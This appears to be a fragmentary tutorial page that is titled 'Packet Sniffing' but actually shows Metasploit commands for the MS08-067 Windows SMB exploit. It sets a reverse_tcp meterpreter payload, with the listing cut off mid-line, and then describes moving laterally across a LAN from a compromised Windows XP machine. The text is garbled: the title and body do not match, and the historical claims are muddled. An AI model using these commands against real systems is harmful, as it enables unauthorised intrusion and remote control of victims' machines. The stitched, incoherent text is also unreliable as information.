Tutorial: Packet Sniffing
Packet sniffing was never easy before. In the late 90’s, we used tunneling, wire Shark, MITM and SSL Striping.

Let’s begin… Location and using Windows SMB exploit: msf > use exploit/windows/smb/ms08_067_netapi   Setting payload of reverse_tcp: msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterp ...

Hi once again, Using this method, all we need is an SMB ( LAN ) fully compromised PC user-name, as we have recently exploited WindowsXp SP 2. Now that we know his user-name, we need to move into the LAN to other PCs. Let’s begin… Running the Metasploit console, I assume you have Metasploit opened and have configured our target there.
